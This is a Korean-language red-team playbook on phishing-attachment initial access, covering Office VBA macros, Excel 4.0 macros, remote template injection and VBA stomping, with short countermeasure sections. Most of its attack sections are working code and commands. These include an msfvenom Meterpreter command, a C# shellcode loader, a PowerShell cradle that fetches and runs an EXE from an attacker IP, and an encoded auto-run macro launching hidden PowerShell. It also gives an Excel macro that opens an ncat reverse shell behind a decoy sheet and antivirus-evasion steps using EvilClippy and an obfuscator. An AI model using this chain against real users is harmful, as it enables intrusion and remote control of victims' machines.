하지만 기관의 입장에서 수천, 수만명의 직원들이 어떤 파일을 올리는지, 어떤 서버를 접속하는지, 어떤 페이지를 인터넷에 공개하는지, 어떤 SNS에서 어떤 회사 정보를 공개하고 있는지 기술적으로 파악하기는 매우 어렵다. 따라서 가장 추천하는 대응 방안은 바로 지속적인 모니터링이다.

요새는 OSINT나 다크웹 정보 수집을 자동화 한 뒤, 지속적으로 모니터링을 제공해주는 서비스나 솔루션들이 늘어나고 있다. 이들을 이용해도 좋을 것이다. 금전적으로 부담이 된다면 외부망 모의해킹 서비스를 적극적으로 이용한 뒤, 각 모의해커들에게 원하는 바를 정확히 얘기해주는 것 또한 좋다. 예를 들어 "OSINT를 통해 기밀/비밀 문서나 저희 회사 직원들이 공개한 사내 이메일 주소를 한 번 찾아봐주세요" 와 같은 요청은 모니터링에 큰 도움이 될 수 있다.

### 레퍼런스

{% embed url="<https://gbhackers.com/latest-google-dorks-list/>" %}

{% embed url="<https://www.exploit-db.com/google-hacking-database>" %}


# 개념

MITRE ATTACK - A0001

초기 침투는 공격자들이 타겟 네트워크에 진입해 초기 발판을 구축하는 단계를 일컫는다. 초기 침투 공격을 거쳐 계정 정보를 획득하거나, 외부와 연결된 자산을 장악하거나, 내부망에 C2 비컨/에이전트를 배포해 C2 커뮤니케이션을 구축한다.

MITRE ATTACK의 초기 침투 방법들은 [여기서 확인이 가능](https://attack.mitre.org/tactics/TA0001/)하다. 개인적으로 생각해본 초기 침투 공격은 다음과 같은 것들이 있다.

1. 피싱 - 스피어피싱, 첨부파일, 템플릿 인젝션, Follina, MitM, 등
2. 비밀번호 스프레이 공격 (Password Spraying)
3. 크레덴셜 스터핑 공격 (Credential Stuffing)
4. 공급망 공격 (Supply Chain attack)
5. 공개 익스플로잇을 통한 외부 자산 장악 (Public Exploit)
6. SaaS, Cloud 등의 외부 서비스 악용 (Abusing External Services)
7. 제로데이 사용 (Zeroday)
8. 내부자 포섭
9. 물리 침투 후 로그 디바이스 설치

이외에도 MITRE ATTACK 프레임워크 기준으로 여러가지가 있지만, 이 프로젝트에서 모든 TTP를 구현할 수는 없다. 예를 들어 제로데이는 실습 하기엔 시간이 너무 오래 걸리고, 물리 침투 후 로그 디바이스 설치 등은 불법이라 실습이 불가능하다.

따라서 이 플레이북에서는 안전하고 도덕적으로 실습이 가능한 초기 침투 방식에 대해서 알아본 뒤, 대응 방안을 알아본다.

### 레퍼런스

{% embed url="<https://attack.mitre.org/tactics/TA0001/>" %}

{% embed url="<https://mgeeky.tech/warcon-2022-modern-initial-access-and-evasion-tactics/>" %}

{% embed url="<https://posts.specterops.io/hang-fire-challenging-our-mental-model-of-initial-access-513c71878767>" %}


# 피싱 첨부파일


# 오피스 VBA 매크로

비쥬얼 베이직 어플리케이션 (VBA) 매크로는 마이크로소프트 오피스 제품들의 자동화를 도와주는 비쥬얼 베이직 6.0 기반의 프로그래밍 언어다. 보안적으로는 90년대부터 피싱 공격 첨부파일안의 악성코드를 실행하는데 많이 사용됐다.

2022년 기준 오피스 VBA 매크로를 사용한 초기 침투 및 피싱 공격은 성공하기 매우 어려워졌다. 마이크로소프트는 2022년 2월에 모든 오피스 제품들과 오피스365에서[ 기본적으로 매크로를 비활성화 하도록 패치](https://docs.microsoft.com/en-us/deployoffice/security/internet-macros-blocked)했다. 2022/07/07에 잠깐의 롤백이 있었지만 7월 24\~25일, 다시 인터넷에서 다운 받은 문서들의 VBA 매크로를 기본적으로 비활성화 시켰다. 30년 간의 매크로 피싱이 드디어 끝을 보이기 시작했다.

이제는 잘 쓰이지 않게 된 TTP지만 거의 30년 동안 공격자들이 사용했던 역사적인 가치가 있는 공격 기법이기 때문에 기초를 닦는다는 마음가짐으로 이 페이지에서 정리한다. 또한, 모두가 항상 오피스365를 쓰거나, 온-프레미스 오피스 버전들이 항상 최신 버전으로 업데이트 되는 것은 아니기 때문에 추후 몇 년 간은 매크로 기반의 페이로드들은 계속해서 쓰일 것이다.

### AutoOpen, Document\_Open

오피스 제품들에서 실행되는 VBA 매크로 중 AutoOpen() 과 Document\_Open() 함수는 파일을 열자마자 자동적으로 실행되는 함수다. 이를 막는 MotW (Mark of the Web), Protected Views, 그리고 Enable Content 등의 방어 기법들이 있어 요새는 문서를 연다고 해서 VBA 매크로가 자동적으로 실행되지는 않는다. 그러나 피해자 유저가 방어 기법들을 모두 비활성화 하거나 허용할 시 위에서 언급된 함수들이 실행된다.

### 실습

이번 실습에서는 다음과 같은 공격 체인을 만들어본다:

* 워드 프로세스 -> VBA 매크로 -> WMI -> 파워쉘 -> C# .NET 로더 -> Meterpreter

중간에 VBA 매크로에서 WMI를 사용하는 것은 쉘이 워드 프로세스 파일이 아닌 `WmiPrvSE.exe` 파일의 자식 프로세스로 생성되기 때문이다. 이 경우 피해자 유저가 워드 문서 파일을 닫아도 쉘은 살아있게 된다.

1. 먼저 Meterpreter 쉘코드를 `msfvenom` 을 이용해 만든다.

```
msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.40.182 lport=443 --encrypt aes256 --encrypt-key 'qaG+eb3eShkiYq3tuv9y!B&E)$@Mc%fT' --encrypt-iv '?aEe(fG+KbPe23fz' -f csharp
```

2\. 이 Meterpreter 쉘을 로드해 실행할 C# .NET 로더를 만든다. 슬리버 C2의 스테이저 코드를 수정한 뒤 사용했다.

<details>

<summary>MeterStager.cs</summary>

```csharp
using System;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace MeterStager
{
    public class Stager
    {
        private static string aesKey = "qaG+eb3eShkiYq3tuv9y!B&E)$@Mc%fT";
        private static string aesIV = "?aEe(fG+KbPe23fz";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            byte[] shellcode = new byte[720] {
            	
            < ... Meterpreter 쉘코드 ... >  

            };


            shellcode = Decrypt(shellcode, aesKey, aesIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)0xfff0000, 0x3000, 0x40);
            //Console.WriteLine("[+] addr: {0}", addr.ToInt64().ToString("x2"));
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            //Console.WriteLine("[+] shellcode length: {0}", shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}
```

</details>

3\. 이후 이 MeterStager.cs C# .NET 로더는 파워쉘에 로드되어 실행된다. 공격자의 다른 서버 `192.168.40.179` 의 포트 9999에서 파일을 받아온 뒤, Reflection을 이용해 로드한 뒤, 메인 EntryPoint를 실행하도록 파워쉘 페이로드를 준비한다.

```
iex([System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('http://192.168.40.179:9999/MeterStager.exe'))).EntryPoint.Invoke($null, [Object[]]@(@(,([String[]]@()))))
```

위 파워쉘 페이로드를 VBA 매크로에 들어가도록 유틸 스크립트를 이용해 base64 인코딩 한다.

<details>

<summary>Invoke-VBAps.ps1</summary>

```powershell
$s = @'
 < your powershell payload here > 
'@
 
<# Just copy/paste everything below! #>
$EncodedText =[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))  

$array = @()
[System.Collections.ArrayList]$ArrayList = $array
$EncodedText -split '(.{300})' | Where-Object {
    $ArrayList.Add($_) | out-null
}

foreach ($item in $ArrayList){
    if([string]::IsNullOrEmpty($item)){
        continue
    }
    else{
        if($item -eq $ArrayList[-1]){
            '"' + $item +'"' 
            break 
        }
        '"' + $item + '" & _'
    }
}
```

</details>

4\. 이제 완성된 파워쉘 페이로드를 VBA 매크로에다가 집어넣은 뒤, 문서를 생성하면 된다.

<details>

<summary>go.vba</summary>

```vba
Sub Document_Open()
    test
End Sub

Sub AutoOpen()
    test
End Sub

Function test()
    Const HIDDEN_WINDOW = 12

    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")

    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    
    Dim proc As Object
    Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    Dim str As String
    
    str = "powershell -exec bypass -nologo -nop -w hidden -enc " & _
    "aQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADEANwA5ADoAOQA5ADkAOQAvAFMAbABpAHYAZQBy" & _
    "AFMAdABhAGcAZQByAC4AZQB4AGUAJwApACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBPAGIAagBlAGMAdABbAF0AXQBAACgAQAAoACwAKABbAFMAdAByAGkAbgBnAFsAXQBdAEAAKAApACkAKQApACkA"
    
    errReturn = proc.Create(str, Null, objConfig, intProcessID)
End Function
```

</details>

Chameleon과 VBA script 난독화를 진행할 경우 디펜더 우회는 가능하지만, 모든 공격 PoC가 그렇듯 무기화는 진행하지 않는다.

실행하면 다음과 같은 결과가 나온다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-f712fa74c1c1ac6c6d12885480f11311eb6e8381%2Fblog-simple-vba.gif?alt=media)

### 대응 방안

* 업데이트된 오피스 제품들이나 오피스365를 사용한다면 기본적으로 악성 VBA 매크로가 비활성화 되어 있다. - 라고 생각했지만 07/07일 마이크로소프트 사가 이를 [롤백](https://www.bleepingcomputer.com/news/microsoft/microsoft-rolls-back-decision-to-block-office-macros-by-default/)했다.
* 마이크로 오피스 전용 그룹 정책 Administrative Template File 을 다운 받은 뒤, 그룹 정책을 설정한다. 그룹 정책을 설정할 때에는 유저 그룹마다, 호스트 그룹마다 따로 GPO를 설정하는 것이 권장된다.
* 예를 들어, VBA 매크로 자체를 비활성화 해버리는 GPO의 경우 회계부서 OU 보다는 IT나 세일즈 유저들이 있는 OU에 링크 하는 것이 바람직할 것이다.
* VBA 비활성화 혹은 디지털 서명된 VBA만 사용 - `Computer/User Configuration\Policies\Administrative Templates\Microsoft Office XXXX\Security Settings\Disable VBA Office applications`
* 개인이나 GPO가 필요없는 소규모 네트워크의 경우 엔드 유저가 직접 비활성화 시킬수도 있다.
  * 워드 -> Options -> Trust Center -> Trust Center Settings -> Macro Settings -> VBA 완전 비활성화 혹은 디지털 서명된 VBA 만 허용

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-791f2ce9312969d7f01ccbd600fdbc1eb11a5051%2Fendpoint-no-vba.png?alt=media)

* 현 조직에서 매크로를 많이 사용한다면 인터넷에서 받은 문서+매크로 파일들만 비활성화 하는 GPO를 사용한다.
  * ![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-a35cae4d84c9603459aa6bccf6f8e10ddd759bb3%2Fimage.png?alt=media)
  * `User Configuration\Policies\Administrative Templates\Block macros from running in Office files from the Internet - Protected`
* 더 자세한 대응 방안은 레퍼런스를 참고한다.

### 레퍼런스

{% embed url="<https://www.microsoft.com/en-us/download/details.aspx?id=49030>" %}

{% embed url="<https://4sysops.com/archives/restricting-or-blocking-office-2016-2019-macros-with-group-policy/>" %}

{% embed url="<https://docs.microsoft.com/en-us/deployoffice/security/internet-macros-blocked#block-macros-from-running-in-office-files-from-the-internet>" %}


# XLM Excel 4.0 매크로

XLM (Excel 4.0) 매크로를 사용한 피싱 탬플랫 기법은 매우 전통적이고 유래가 깊은(?) 공격 탬플릿  기법이다. 이 기법을 사용한 공격은 주로 악성코드를 포함한 문서 파일을 이메일 첨부파일이나 링크를 통해 유포하는 사이버 범죄자나 해커들이 초기 침투 방식으로 사용하는 탬플릿 중 하나이기도 하다.

다행스럽게도, 최근 버전의 Microsoft Office에서는 VBA 매크로 실행을 디폴트로 비활성화하게 되어있고, XLM (Excel 4.0) 매크로를 사용한 공격 기법은 1990년대에 개발된 굉장히 오래된 기술이며 안 기술의 발전으로 인해 많이 찾지 않는 공격 기법이다. 따라서, 최근에는 XLM 매크로를 사용하는 공격이 VBA 매크로를 사용하는 공격보다는 정식 파일에 chm,lnk,hta등을 심어 사용하는 기법이 주로 쓰인다.

하지만 혹시라도 매크로 공격에 취약한 Excel 4.0과 5.0버전을 아직까지도 쓴다거나 블랙 해커가가 화려한언변과 소셜 엔지니어링을 통해 타겟 유저가 스스로 매크로 활성을 하게 유도한다면 매크로 공격은 쉽고도 정확한 공격 기법이 될수 있다.

## 실습

실습을 위해 File -> Info -> Macro Settings -> Enable VBA Macros...를 선택해 매크로를 활성화해준다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-7af9f4c41f111f5116697cc85f75089d21cb9c9f%2FPasted%20image%2020230502195135.png?alt=media)

아래 시트에서 우클릭 -> Insert (추가) -> MS Excel 4.0 Macro -> OK를 해준다.&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-bf191b80a955c2417eeb18d4aa46db1b7b4dc83f%2FPasted%20image%2020230502193306.png?alt=media" alt=""><figcaption></figcaption></figure>

간단한 테스트를 위해 아래 같이 각 열에 입력하여 계산기 (calc.exe)와 함께 "HELLO WORLD" 구문이 열리는지 확인해본다.

```
=EXEC("calc.exe")
=ALERT("HELLO WORLD!")
=HALT()
```

성공했다! 이제 우리는 EXCEL의 매크로를 통해 커맨드 EXEC로 앱 실행이 가능하다는 것을 알았다!&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-a4226289c71fcaf2312d8f68cc41e1192cb4cb6a%2FPasted%20image%2020230502193523.png?alt=media" alt=""><figcaption></figcaption></figure>

### 실전 예제

실전 예제를 들어보자.

이제 공격자는 타겟이 사용하는 EXCEL 매크로 기능을 통해 로컬 바이너리를 실행할 수 있다라는 사실을 알았다.

그렇다면 공격자는 간단한 netcat 리버스 쉘을 실행하는 백도어를 매크로에 심어 타겟이 공격자에 연결되게끔 할수 있다는 말이다!

shell.cmd 에 \`ncat 192.168.137.131 443 -e cmd.exe 를 저장한다. 공격자에 포트 443로 연결을 시도한다라는 뜻이다.

아래와 같이 shell.cmd를 실행하는 매크로를 생성하고 A1을 Auto\_open으로 바꿔주면 파일이 열림과 동시에 매크로가가 자동으로 실행될게 해줄수 있다.

```
=EXEC("C:\Temp\shell.cmd")
=ALERT("GROOT!")
=HALT()
```

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-b5c04f2af4a4b5369b0f2be449bf451fbe7ae427%2FPasted%20image%2020230502195827.png?alt=media)

일단 매크로 구문이 들어있는 EXCEL 파일은 누가봐도 수상하기 때문에 Hide (숨기기)를 해주고 정상 파일로 보이게 "회원 명단"과 같은 내용을 넣어준다.&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4a25a7f27f1cc41ac418f74010fb2694df7b79ba%2FPasted%20image%2020230502195849.png?alt=media" alt=""><figcaption></figcaption></figure>

타겟 유저가 보는 EXCEL 파일에는 매크로 탭은 보이지 않고 "회원 명단"만 보이게 되어 의심을 피할 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-31f62754c46bb49a4043b239ac4c916b51117517%2FPasted%20image%2020230504185904.png?alt=media" alt=""><figcaption></figcaption></figure>

이제 타겟이 EXCEL 파일을 여는 순간 아래와 같이 공격자의 포트 443으로 리버스 쉘이 연결된 것을 알 수 있다!&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-01058abbe9c915858eb5107e949dc56fc63ffe72%2F%ED%99%94%EB%A9%B4%20%EC%BA%A1%EC%B2%98%202023-05-02%20200259.png?alt=media" alt=""><figcaption></figcaption></figure>

## 대응방안

XLM (Excel 4.0) 매크로를 사용한 공격 기법에 대응하기 위한 방안은 매크로 공격에 취약한 Excel을 최신 버전으로 패치하는거다. 또한 대부분의 안티바이러스 및 방화벽과 같은 보안 솔루션을 XLM 매크로 실행을 탐지하고 차단할 수 있으니 너무 걱정은 하지 않다도 되지만 그래도

마지막으로, 너무나도 당연하지만 수상한 이메일 첨부 파일이나 다운로드 링크를 클릭하지 않아야 한다. 만약에 매크로를 활성화해야 한다는 IT부서의 권고 이메일을 받게 되면 진짜 IT부서가 맞는지 의심하고 또 의심하길 바란다.

## 레퍼런스

{% embed url="<https://en.wikipedia.org/wiki/Microsoft_Excel>" %}

{% embed url="<https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0>" %}

{% embed url="<https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm>" %}

{% embed url="<https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf>" %}


# 원격 템플렛 인젝션

마이크로소프트 워드에서는 문서 양식을 적용할 수 있다. 이 문서 양식은 로컬이나 원격의 호스트로부터 가져올 수 있으며, 양식 안에다가 VBA 매크로를 넣는 것 또한 가능하다. 따라서 공격자들은 워드 양식 파일 (Word Document Template File - `.dotm`)을 공격자 서버에 호스팅 한 뒤, 이 양식을 불러오는 워드 파일 - `.docx` 을 타겟 유저에게 보내 코드 실행을 할 수 있다. 워드 파일이 실행되면 공격자 서버로 가 양식 파일을 다운 받고, 이 양식 파일이 매크로를 실행하게 된다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-989c9d2b2a0b7af6f8da96e2d451317b28070acc%2Fimage.png?alt=media)

이 공격의 장점은 바로 타겟 유저에게 보내는 파일에 VBA 페이로드를 집어넣지 않아도 된다는 점이다. 타겟 유저가 받는 문서 파일에는 유해한 VBA 페이로드가 없기 때문에 이메일 게이트웨이를 패스할 수 있게 된다. 엔드포인트에서의 AV/EDR 솔루션들은 여전히 양식 파일안의 VBA 매크로를 탐지하겠지만, 적어도 첫번째 탐지 단계는 넘어갈 수 있게 된다.

### 실습

템플렛 인젝션 워드 양식 파일과 워드 문서 파일은 다음과 같은 단계를 통해 만들 수 있다.

1. VBA 매크로 페이로드가 들어간 .dotm 양식 파일을 만든 뒤 저장한다.
2. 이 .dotm 양식 파일을 공격자 서버 혹은 CDN/파일 호스팅 서버에 호스트한다.
3. .docx 워드 문서 파일을 만든 뒤, 마이크로소프트에서 제공하는 기본 양식을 지정한 다음 저장한다.
4. .docx 워드 문서 파일을 zip파일로 만든 뒤 압축을 해제한다. 그 뒤, `./word/_rels/settings.xml.rels` 파일을 찾아 그 안의 `Target` 파라미터를 호스팅 된 `.dotm` 파일을 가르키도록 설정한다.
5. 다시 압축 한 뒤 `.docx` 문서 파일로 이름을 바꾸고, 이 파일을 타겟 유저에게 보낸다.

템플렛과 VBA 페이로드를 만드는 방법은 따로 설명하지 않는다. 워드 파일 안에 VBA 매크로 페이로드를 넣는 것은 [오피스 VBA 매크로](/initial-access/phish-attachments/vba-macros) 페이지에서 설명했다. 저장할 때 `.dotm` 파일로 저장하면 된다.

`.docx` 문서 같은 경우 문서를 만든 뒤, 마이크로소프트사에서 제공하는 디폴트 양식 중 하나를 선택한다. 그 뒤 저장한다. 이후 `.zip` 파일로 이름을 변경한 뒤 압축을 풀어준다.

```
mkdir test
cd ./test
mv ../payload.docx payload.zip 
expand-archive ./payload.zip 
```

`/word/_rels/settings.xml.rels` 파일을 찾아 Target 파라미터를 공격자가 호스팅 하고 있는 양식 파일 위치로 바꾼다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-30f3fba3ee9bff15f058bced2f8a2b9db07ab90d%2Fimage.png?alt=media)

이후 다시 파일들을 압축한다. 이 때 디렉토리 하나만 압축하지 말고, 디렉토리 안의 파일들을 모두 모아서 압축한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-e5fa7c1098e13edb0de3f9c5153dec3a60d46b2a%2Fimage.png?alt=media)

이후 이 문서 파일을 실행하면 다음과 같이 코드 실행이 된다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-d6eacce6d625a01c18112859e450a666f4b249e4%2Ftemplate-injection.gif?alt=media)

실습에 사용한 Meterpreter 페이로드의 x86/x64 문제 때문에 최종 Meterpreter 쉘은 얻지 못했지만, VBA 매크로가 실행 됐다는 것은 확인할 수 있다.

### 대응 방안

* 원격 템플렛 인젝션 공격은 2017년도에 화제가 되었으며, 왠만한 엔드포인트 AV/EDR 솔루션들은 탐지 할 수 있다.
* 오피스 VBA 매크로와도 같이 결국 최종적으로 실행되는 페이로드는 VBA 매크로다. 디지털 서명을 강제하거나 오피스 매크로를 사용하지 않을 경우 오피스 VBA 매크로 페이지에서 나왔던 [대응 방안](/initial-access/phish-attachments/vba-macros#undefined-1)들을 적용한다.
* 템플렛 파일 또한 메모리상에서 실행되는 것이 아니고 엔드포인트 디스크에 다운 받아야되기 때문에 엔드포인트상에서 악성 VBA 매크로를 탐지한다.

### 레퍼런스

{% embed url="<https://blog.sunggwanchoi.com/remote-template-injection/>" %}

{% embed url="<https://john-woodman.com/research/vba-macro-remote-template-injection/>" %}

{% embed url="<https://john-woodman.com/research/malicious-vba-macros-trials-tribulations/>" %}

{% embed url="<https://blog.talosintelligence.com/2017/07/template-injection.html>" %}


# VBA Stomping

VBA Stomping 은 2018년도 Derbycon 에서 Harold Ogden (@haroldogden), Kirk Sayre (@bigmacjpg) and Carrie Roberts (@OrOneEqualsOne) 가 Dr. Vesselin Bontchev 박사의 P-code 연구를 보고 영감을 받아 만들어낸 VBA 매크로 방어 우회 기법 중 하나다.

VBA 매크로는 총 3가지 형태로 오피스 제품에 저장된다:

1. 소스코드 - 실제로 작성된 VBA 매크로의 소스코드가 압축된 형태
2. P-code - #1번을 기반으로 컴파일된 어셈블리어와 비슷한 형태 - 캐시된 형태로, 똑같은 오피스 버전에서 열리면 소스코드가 아닌 P-code가 대신 실행된다.
3. Execode - P-Code가 여러번 실행될 시 P-code를 tokenize 한 형태로 저장되는 형태 - 이건 일단 무시한다.

여기서 재밌는 점은 소스코드를 flexhex 등의 툴을 이용해 다른 VBA 매크로로 변경해도 P-code는 이전 소스코드를 담고 있다는 것이다. 예를 들어,

* 소스코드 - 악성 VBA
* P-code - 악성 VBA

의 형태로 저장되어 있는 문서를 flexhex 등의 툴로 열어 소스코드 바이트를 직접 수정해주면

* 소스코드 - 평범한 VBA, 혹은 null-byte 형태로 아무것도 없는 VBA
* P-code - 악성 VBA

위 상태가 되며, 이 상태로 문서를 열면 소스코드가 아니라 P-code 가 실행된다. 유의할 점은 만들어진 오피스 버전과 문서가 열리는 오피스 버전이 같아야 P-code 가 실행된다는 것이다. 따라서 공격자의 입장에서는 피해자 호스트에 어떤 오피스 제품이 설치되어 있는지를 알아낸 다음에 사용할 수 있는 기법이다. 이는 이메일 헤더와 유저 에이전트 등으로 정보 수집을 통해 알아낼 수 있다.

### 실습

[오피스 VBA 매크로 페이지](/initial-access/phish-attachments/vba-macros)에서 사용했던 코드를 그대로 사용한다. 단, 작전보안을 위해 [VisualBasicObfuscator](https://github.com/mgeeky/VisualBasicObfuscator)를 이용해 코드를 난독화한다. 스키디의 악용을 막기 위해 툴의 라인 647에서 발생하는 에러를 고치는 법은 따로 설명하지 않는다.

```
https://github.com/mgeeky/VisualBasicObfuscator.git

# range() 함수와 관련해서 간단한 수정을 하면 제대로 실행된다. 
647# for s in range(len(longLine) / SPLIT + 1):

# 난독화 진행 
┌──(root㉿kali)-[/opt/VisualBasicObfuscator]
└─# python3 obfuscate.py payload.vbs -o payload-obfuscated.vbs

    :: Visual Basic script obfuscator for thy red teaming needs!
    Mariusz Banach / mgeeky, '17, '20; <mb [at] binary-offensive.com>
    v: 0.2

[+] Input file:         payload.vbs
[+] Output file:        payload-obfuscated.vbs
[+] Input file length: 1205
[+] Obfuscated file length: 5742
[+] Obfuscated code has been written to:
                payload-obfuscated.vbs
```

이후 VBA Stomping에 사용될 가짜 VBA 코드를 준비한다. 이제 VBA 소스코드는 가짜 VBA 코드로 덮어씌워지고, P-code에는 위에서 만든 악성 VBA 코드가 제대로 들어가 있을 것이다. 이는 추후 대응방안 섹션에서 확인한다.

EvilClippy 툴을 이용해 VBA stomping 과 메타데이터 삭제, 모듈 이름 랜덤화, GUI에서 VBA 감추기 등의 방어 우회 기법을 적용한다.

VBA Stomping에 사용될 가짜 VBA 코드는 다음과 같다.

```
Sub Document_Open()
    Macro1
End Sub

Sub AutoOpen()
    Macro1
End Sub

Sub Macro1()
'
' Macro1 Macro
'
'
    Range("B1").Select
    ActiveCell.FormulaR1C1 = "Hello World"
    Range("B2").Select
End Sub
```

이제 EvilClippy를 사용해 VBA Stomping을 진행한다.

```
 # EvilClippy 설치 - Visual studio -> x64 Native Tools command prompt 
 csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
 
 # EvilClippy 사용 
 .\EvilClippy.exe -s .\fakecode.vba .\sample-payload-obs.doc -g -d -r -u 
```

VBA Stomping 과 난독화를 진행하지 않은 일반 페이로드의 탐지율을 확인해보자.

![일반 페이로드](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-22a5769ec8fe1a81e2294fa513482c63158cc4a2%2Fimage.png?alt=media)

VBA stomping만 적용한 페이로드의 탐지율을 다음과 같다.

![VBA stomping을 적용한 페이로드](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-ce3ad7cc6db995a17cf03ec057abdb49ee41c5b1%2Fimage.png?alt=media)

VBA stomping과 난독화를 둘 다 적용한 페이로드다. 몇몇 AV들은 스캔을 포기한 것을 볼 수 있다.

![VBA stomping과 난독화를 적용한 페이로드](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-ef3d9eb405d692f5b7835e76a96e1a40ee88c0e9%2Fimage.png?alt=media)

이후 페이로드를 실행하면 meterpreter가 돌아온다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-47c3bf503ef7c230c4ff431cd97ccfa635f9225a%2Fvba-stomping-2.gif?alt=media)

### 분석/대응 방안

VBA Stomping 기법과 P-code의 악용 방법은 2018년도에 나왔기 때문에 2022년도 기준으로 많은 툴들이 이를 탐지한다. 예를 들어 [oletools](https://github.com/decalage2/oletools/wiki/olevba) 툴을 이용해 VBA Stomping 기법을 적용한 파일을 분석해보자.

